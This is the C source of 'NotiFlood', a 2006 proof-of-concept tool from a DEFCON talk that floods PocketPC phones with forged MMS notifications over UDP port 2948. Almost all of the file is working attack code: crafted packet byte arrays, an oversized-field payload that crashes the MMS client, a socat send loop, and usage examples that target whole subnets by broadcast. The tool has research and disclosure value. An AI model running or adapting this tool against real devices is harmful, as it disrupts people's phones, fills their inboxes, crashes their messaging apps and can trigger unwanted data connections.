/*
 *  This is a Proof-of-Concept tool to demonstrate the PocketPC MMS Composer
 *  flood/crash vulnerability (ab)using the WAPPush port UDP:2948
 *
 *  This is for educational purposes only! Please use responsible!
 *
 *  (c) Collin Mulliner <collin@trifinite.org>
 *  http://www.trifinite.org 
 *  http://www.mulliner.org/pocketpc/
 *
 * NotfiFlood - a Proof-of-Concept PocketPC MMS Composer flooder
 *
 *(c) Collin Mulliner <collin@trifinite.org>
 *
 * http://www.mulliner.org/pocketpc/
 * http://www.trifinite.org/
 *
 **** For educational purposes only! Please use responsible! ***
 *
 * NotiFlood is a PoC MMS M-notification.ind flooder written to demo the PocketPC
 * MMS Composer vulnerabilities for my DEFCON-14 talk "Advanced Attacks Against 
 * PocketPC Phones".
 *
 * The tool sends MMS new message notifications to the target PocketPC device over
 * WiFi IP:UDP4:2948. In flood mode the device plays the new message sound for 
 * every received notification. If auto receive is enabled the phone will try to
 * dial-up GPRS in order to receive the message. After receiving a couple 
 * hundred messages the phone randomly freezes or rejects new messages. Further
 * the MMS inbox is filled up with messages that only can be deleted manually
 * one-by-one. In crash mode, each notification crashes the MMS client and
 * therefore actively keeps the user from using the Inbox application while
 * connected to WiFi (the Inbox application also handles email like via POP3 and
 * IMAP).
 *
 * This was tested with WinCE 4.2x and MMS Composer 1.5 and 2.0
 *
 * Examples:
 *  flood all clients in 192.168.1/24:
 *  notiflood -d 192.168.1.255 -n 0
 *
 *  crash client at: 192.168.42.29:
 *  notiflood -d 192.168.42.29 -i 500000 -n 1 -c
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
//#include <libnet.h>
#include <sys/poll.h>
#include <sys/ioctl.h>
#include <linux/if_tun.h> 
#include <arpa/inet.h>
#include <getopt.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/ethernet.h>
#include <time.h>
#include <sys/un.h>

int mms1_pos[] = {40, 106, 167, 228, 289};

unsigned char mms1[] = {0x00,0x06,0x22,0x61,0x70,0x70,0x6c,0x69,0x63,0x61,0x74,0x69,0x6f,0x6e,0x2f,0x76,0x6e,0x64,0x2e,0x77,0x61,0x70,0x2e,0x6d,0x6d,0x73,0x2d,0x6d,0x65,0x73,0x73,0x61,0x67,0x65,0x00,0xaf,0x84,0x8c,0x82,0x98,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x00,0x8d,0x90,0x89,0x1f,0x3d,0x80,0x1f,0x3a,0x83,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x00,0x97,0x1f,0x3a,0x83,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x00,0x96,0x1f,0x3a,0x83,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x00,0x8e,0x66,0x68,0x32,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0x2d,0xd0,0x00};

unsigned char mms2[] = {0x00,0x06,0x22,0x61,0x70,0x70,0x6c,0x69,0x63,0x61,0x74,0x69,0x6f,0x6e,0x2f,0x76,0x6e,0x64,0x2e,0x77,0x61,0x70,0x2e,0x6d,0x6d,0x73,0x2d,0x6d,0x65,0x73,0x73,0x61,0x67,0x65,0x00,0xaf,0x84,0x8c,0x82,0x98,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x8d,0x90,0x89,0x1f,0x3d,0x80,0x1f,0x3a,0x83,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x97,0x1f,0x3a,0x83,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x96,0x1f,0x35,0x83,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x83,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00};

int mms2_pos[] = { 40, 314, 375, 436, 489 };

char to[100] = {"receiver@receiver.com"};
char from[100] = {"sender@sender.net"};
char subject[100] = {"Your P0ckEtPC just P00PED itself!"};

unsigned int iteration = 0;

void iterate(unsigned char *nty, int *pos)
{
	char tmp[57];
	char tmp2[57];
	
	sprintf(tmp, "%u%u", time(NULL), iteration);
	memset(&nty[pos[0]], '0', 57);
	memcpy(&nty[pos[0]], tmp, (strlen(tmp) < 57) ? strlen(tmp) : 56);
	
	sprintf(tmp2, "http://127.0.0.1/?%s",tmp);
	memset(&nty[pos[4]], '0', 57);
	memcpy(&nty[pos[4]], tmp2, (strlen(tmp2) < 57) ? strlen(tmp2) : 56);
}


void init(unsigned char *nty, int *pos)
{
	memset(&nty[pos[1]], ' ', 56);
	memcpy(&nty[pos[1]], from, (strlen(from) < 57) ? strlen(from) : 56);
	memset(&nty[pos[2]], ' ', 56);
	memcpy(&nty[pos[2]], to, (strlen(to) < 57) ? strlen(to) : 56);
	memset(&nty[pos[3]], ' ', 56);
	memcpy(&nty[pos[3]], subject, (strlen(subject) < 57) ? strlen(subject) : 56);
}

void usage()
{
	printf(""\
	"notiflood - proof-of-concept PocketPC MMS Composer m-notification.ind flooder\n\n"\
	" (c) 2006 Collin Mulliner <collin@trifinite.org>\n"\
	" http://www.mulliner.org/pocketpc/ | http://www.trifinite.org\n\n"\
	" for educational purposes only, please use responsible!\n\n"\
	"options:\n"\
	"\t-d destination ip (broadcast works!)\n"\
	"\t-i interval (useconds)\n"\
	"\t-n number of packets (0=unlimited)\n"\
	"\t-s subject\n"\
	"\t-f from\n"\
	"\t-t to\n"\
	"\t-c crash client\n"\
	"\t-F flip-flop between crash / start client\n"\
	"\t-h help\n"\
	"\t-q quiet\n\n");
	
}

int main(int argc, char **argv)
{
	int f, i, l = 0;
	char system_cmd[200];
	int mode = 0; // 0 = flood , 1 = crash , 2 = flip-flop
	int opt;
	char dest[20] = {0};
	int interval = 500000;
	unsigned int num = 0;
	int verbose = 1;
	int flipflop = 0;

	
	while ((opt = getopt(argc, argv, "i:n:d:s:t:f:cqhF")) != EOF) {
		switch (opt) {
		case 'd':
			strncpy(dest, optarg, 19);
			break;
		case 's':
			strncpy(subject, optarg, 56);
			break;
		case 't':
			strncpy(to, optarg, 56);
			break;
		case 'f':
			strncpy(from, optarg, 56);
			break;
		case 'c':
			mode = 1;
			break;
		case 'F':
			mode = 2;
			break;
		case 'n':
			num = atoi(optarg);
			break;
		case 'i':
			interval = atoi(optarg);
			break;
		case 'q':
			verbose = 0;
			break;
		default:
		case 'h':
			usage();
			break;
		}
	}

	if (optind < argc) {
		usage();
		exit(-1);
	}
	if (strlen(dest) == 0) {
		usage();
		exit(-1);
	}

	sprintf(system_cmd, "cat mmsflood.fld|socat udp4:%s:2948,broadcast stdin &", dest);

	init(mms1, mms1_pos);
	init(mms2, mms2_pos);

	if (verbose) {
		printf("to:      %s\n", to);
		printf("from:    %s\n", from);
		printf("subject: %s\n", subject);
		printf("dst-ip: %s\n", dest);
		if (mode == 1) printf("crash client\n");
		else if (mode == 0) printf("fillup client inbox\n");
		else printf("flip-flop mode\n");
		printf("flood interval: %d seconds\n", interval);
		printf("number of packets: %d (0=unlimited)\n", num);
	}

	if (mode == 2) {
		flipflop = 1;
	}

	do {
		iteration++;
		f = open("mmsflood.fld", O_CREAT|O_RDWR|O_TRUNC, 00666);
		if (mode == 0) { // flood
			iterate(mms1, mms1_pos);
			write(f, mms1, sizeof(mms1));
		}
		else if (mode == 1) { // crash
			iterate(mms2, mms2_pos);
			write(f, mms2, sizeof(mms2));
		}
		close(f);
		system(system_cmd);
		if (flipflop == 1) {
			if (mode == 0) mode = 1;
			else mode = 0;
		}
		if (interval > 0) usleep(interval);
	} while ((iteration < num && num != 0) || num == 0);
	
	return(0);
}

// milw0rm.com [2006-08-09]
